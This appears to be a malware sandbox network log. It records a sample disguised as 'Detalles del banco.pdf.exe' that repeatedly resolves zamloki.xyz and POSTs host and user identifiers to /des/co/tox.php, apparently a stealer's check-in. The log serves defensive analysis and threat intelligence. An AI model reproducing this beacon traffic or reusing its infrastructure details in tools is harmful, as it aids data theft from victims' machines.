Jul 27, 2021 22:08:05.232697964 CEST	8.8.8.8	192.168.2.6	0x5443	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:05.232697964 CEST	8.8.8.8	192.168.2.6	0x5443	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:05.861351013 CEST	8.8.8.8	192.168.2.6	0xa964	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:05.861351013 CEST	8.8.8.8	192.168.2.6	0xa964	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:06.377835989 CEST	8.8.8.8	192.168.2.6	0x52c6	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:06.377835989 CEST	8.8.8.8	192.168.2.6	0x52c6	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:06.941040993 CEST	8.8.8.8	192.168.2.6	0x9ff	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:06.941040993 CEST	8.8.8.8	192.168.2.6	0x9ff	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:07.529706955 CEST	8.8.8.8	192.168.2.6	0x48cd	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:07.529706955 CEST	8.8.8.8	192.168.2.6	0x48cd	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:08.145478964 CEST	8.8.8.8	192.168.2.6	0x8c5a	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:08.145478964 CEST	8.8.8.8	192.168.2.6	0x8c5a	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:08.743094921 CEST	8.8.8.8	192.168.2.6	0x3798	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:08.743094921 CEST	8.8.8.8	192.168.2.6	0x3798	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:09.411967993 CEST	8.8.8.8	192.168.2.6	0xddbe	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:09.411967993 CEST	8.8.8.8	192.168.2.6	0xddbe	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:10.343190908 CEST	8.8.8.8	192.168.2.6	0x563c	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:10.343190908 CEST	8.8.8.8	192.168.2.6	0x563c	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:10.979068041 CEST	8.8.8.8	192.168.2.6	0x2a8e	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:10.979068041 CEST	8.8.8.8	192.168.2.6	0x2a8e	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:11.650468111 CEST	8.8.8.8	192.168.2.6	0x8c19	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:11.650468111 CEST	8.8.8.8	192.168.2.6	0x8c19	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:12.221671104 CEST	8.8.8.8	192.168.2.6	0x33d	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:12.221671104 CEST	8.8.8.8	192.168.2.6	0x33d	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:12.769138098 CEST	8.8.8.8	192.168.2.6	0x55c4	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:12.769138098 CEST	8.8.8.8	192.168.2.6	0x55c4	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:13.303649902 CEST	8.8.8.8	192.168.2.6	0x6f14	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:13.303649902 CEST	8.8.8.8	192.168.2.6	0x6f14	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:13.948546886 CEST	8.8.8.8	192.168.2.6	0xa7de	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:13.948546886 CEST	8.8.8.8	192.168.2.6	0xa7de	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:14.535469055 CEST	8.8.8.8	192.168.2.6	0x803b	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:14.535469055 CEST	8.8.8.8	192.168.2.6	0x803b	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:16.454864979 CEST	8.8.8.8	192.168.2.6	0x3678	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:16.454864979 CEST	8.8.8.8	192.168.2.6	0x3678	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:18.466173887 CEST	8.8.8.8	192.168.2.6	0x3fb9	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:18.466173887 CEST	8.8.8.8	192.168.2.6	0x3fb9	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:19.105074883 CEST	8.8.8.8	192.168.2.6	0xe98e	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:19.105074883 CEST	8.8.8.8	192.168.2.6	0xe98e	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:19.643621922 CEST	8.8.8.8	192.168.2.6	0x8717	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:19.643621922 CEST	8.8.8.8	192.168.2.6	0x8717	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:20.209125042 CEST	8.8.8.8	192.168.2.6	0xb5bb	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:20.209125042 CEST	8.8.8.8	192.168.2.6	0xb5bb	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:20.783215046 CEST	8.8.8.8	192.168.2.6	0xba23	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:20.783215046 CEST	8.8.8.8	192.168.2.6	0xba23	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:21.318178892 CEST	8.8.8.8	192.168.2.6	0xa8f0	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:21.318178892 CEST	8.8.8.8	192.168.2.6	0xa8f0	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:21.915947914 CEST	8.8.8.8	192.168.2.6	0x6104	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:21.915947914 CEST	8.8.8.8	192.168.2.6	0x6104	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:22.462354898 CEST	8.8.8.8	192.168.2.6	0xe252	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:22.462354898 CEST	8.8.8.8	192.168.2.6	0xe252	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:23.037271023 CEST	8.8.8.8	192.168.2.6	0x4f4e	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:23.037271023 CEST	8.8.8.8	192.168.2.6	0x4f4e	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:23.583260059 CEST	8.8.8.8	192.168.2.6	0xbeb8	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:23.583260059 CEST	8.8.8.8	192.168.2.6	0xbeb8	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:24.120616913 CEST	8.8.8.8	192.168.2.6	0xc3c5	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:24.120616913 CEST	8.8.8.8	192.168.2.6	0xc3c5	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:24.718106031 CEST	8.8.8.8	192.168.2.6	0xfc4b	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:24.718106031 CEST	8.8.8.8	192.168.2.6	0xfc4b	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:25.319371939 CEST	8.8.8.8	192.168.2.6	0x2e0a	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:25.319371939 CEST	8.8.8.8	192.168.2.6	0x2e0a	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:25.886291981 CEST	8.8.8.8	192.168.2.6	0x176e	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:25.886291981 CEST	8.8.8.8	192.168.2.6	0x176e	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:26.448719025 CEST	8.8.8.8	192.168.2.6	0x273e	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:26.448719025 CEST	8.8.8.8	192.168.2.6	0x273e	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:27.018085957 CEST	8.8.8.8	192.168.2.6	0x2b34	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:27.018085957 CEST	8.8.8.8	192.168.2.6	0x2b34	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:27.675276995 CEST	8.8.8.8	192.168.2.6	0x40d4	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:27.675276995 CEST	8.8.8.8	192.168.2.6	0x40d4	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:28.277193069 CEST	8.8.8.8	192.168.2.6	0xc0ea	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:28.277193069 CEST	8.8.8.8	192.168.2.6	0xc0ea	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:28.814001083 CEST	8.8.8.8	192.168.2.6	0x1382	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:28.814001083 CEST	8.8.8.8	192.168.2.6	0x1382	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:29.380559921 CEST	8.8.8.8	192.168.2.6	0x250	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:29.380559921 CEST	8.8.8.8	192.168.2.6	0x250	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:29.908271074 CEST	8.8.8.8	192.168.2.6	0x71f	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:29.908271074 CEST	8.8.8.8	192.168.2.6	0x71f	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:30.463634968 CEST	8.8.8.8	192.168.2.6	0x943c	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:30.463634968 CEST	8.8.8.8	192.168.2.6	0x943c	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:31.045845985 CEST	8.8.8.8	192.168.2.6	0x80c8	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:31.045845985 CEST	8.8.8.8	192.168.2.6	0x80c8	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:31.615403891 CEST	8.8.8.8	192.168.2.6	0x61bb	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:31.615403891 CEST	8.8.8.8	192.168.2.6	0x61bb	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:32.173557997 CEST	8.8.8.8	192.168.2.6	0x4b44	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:32.173557997 CEST	8.8.8.8	192.168.2.6	0x4b44	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:32.848566055 CEST	8.8.8.8	192.168.2.6	0x1eee	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:32.848566055 CEST	8.8.8.8	192.168.2.6	0x1eee	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:33.464670897 CEST	8.8.8.8	192.168.2.6	0xd21e	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:33.464670897 CEST	8.8.8.8	192.168.2.6	0xd21e	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:34.138983011 CEST	8.8.8.8	192.168.2.6	0x457b	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:34.138983011 CEST	8.8.8.8	192.168.2.6	0x457b	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:34.742245913 CEST	8.8.8.8	192.168.2.6	0xee0	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:34.742245913 CEST	8.8.8.8	192.168.2.6	0xee0	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:35.241004944 CEST	8.8.8.8	192.168.2.6	0x5454	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:35.241004944 CEST	8.8.8.8	192.168.2.6	0x5454	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:35.765486956 CEST	8.8.8.8	192.168.2.6	0x602e	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:35.765486956 CEST	8.8.8.8	192.168.2.6	0x602e	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:36.263318062 CEST	8.8.8.8	192.168.2.6	0xcf4	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:36.263318062 CEST	8.8.8.8	192.168.2.6	0xcf4	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:36.798065901 CEST	8.8.8.8	192.168.2.6	0xb826	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:36.798065901 CEST	8.8.8.8	192.168.2.6	0xb826	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

zamloki.xyz

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49723	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:15.730381012 CEST	1294	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 196 Connection: close
Jul 27, 2021 22:07:15.758275032 CEST	1294	OUT	Data Raw: 12 00 27 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: 'ckav.ruengineer841618DESKTOP-716T771k08F9C4E9C79A3B52B3F739430TH9tK
Jul 27, 2021 22:07:16.034096956 CEST	1296	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:16 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=LDhjgtJmNIi9MeBqzghFFCOaf37vwQxuuIY7Lfyut4riHaUxYoglCfaNJ3a5zbxQrrwDigr849W%2BiGwTSDvbZTlgm8H9SeKHsc0iWNfHTJ8bpp6liOxaNg2nexcRjA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587e335a9f4414-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.6	49724	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:16.346179008 CEST	1296	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 196 Connection: close
Jul 27, 2021 22:07:16.372282028 CEST	1297	OUT	Data Raw: 12 00 27 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: 'ckav.ruengineer841618DESKTOP-716T771+08F9C4E9C79A3B52B3F739430P2FRQ
Jul 27, 2021 22:07:16.629008055 CEST	1297	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:16 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=sze%2F7t5643NHQmAvsE9mdekgDsjcY9vPznMoOEW1rrG8434aKAdLCmBztcc9HFAopzZLoOiFpbB4K2iDDtX1jbEs7klFOIQPvpTSsqnoOIFVDNztn4maSXtY4jwaZw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587e373f164e92-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.6	49738	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:24.064140081 CEST	1572	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:24.095503092 CEST	1573	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:24.368742943 CEST	1582	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:24 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ygfgvQxJznvEOZAkjC77QvYIkpjoVX%2BxaNe%2FFq2qr%2BHAPx8k1plVPfSsk8hEiAH%2Fjlba418P0p65w6Sqhhw1thDnfGkIXBUIgsUsIPl3i96RDYhMKF8oZ7KGv0iIPQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587e677f3d440d-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.6	49844	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:24.154417038 CEST	7073	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:24.182837009 CEST	7073	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:24.466948986 CEST	7074	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:24 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4fOEhlawxpZf2g6zrCusCWwF1mV8froNmayFaAM395%2FE9GdNx6HSNh7q8i8cYHCv5OqzsWrCSZXqWAZmigKr5vYs2xDI7W01evYGmpFPaGzBBV8eTOl%2FOuntz5U7gQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587fdf098e4a6e-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.6	49845	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:24.751823902 CEST	7074	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:24.781922102 CEST	7075	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:25.101829052 CEST	7075	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:25 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=bP%2Fj%2BRQpsuUbRcU72uMabZUEO3sh%2BWlL0GvqsYCA%2BKUo2LsjDGKowQeqQu%2BXLpQPb7B3WWxPgEovJfh%2FFcgCDU424Nd7VHn7Wxw6ic%2F3BeFqqDg3P3ilgtmmHn0YXQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587fe2c8014aa3-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.6	49846	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:25.352816105 CEST	7076	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:25.380657911 CEST	7077	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:25.658564091 CEST	7077	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:25 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Go%2BSB4fkUu%2Bhi1xxp7%2FptlNNsBjeOEk8%2FNOxhMAMWb9TJ1rQ8yQvBlkKdCcLZwPr1u1mvwuempvWOs0sWFJ1wxn4keeC%2BOCAy6IxKH9Tr3CowS4nE62miwIGHPo%2Ffw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587fe6883505b3-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.6	49847	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:25.917752981 CEST	7078	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
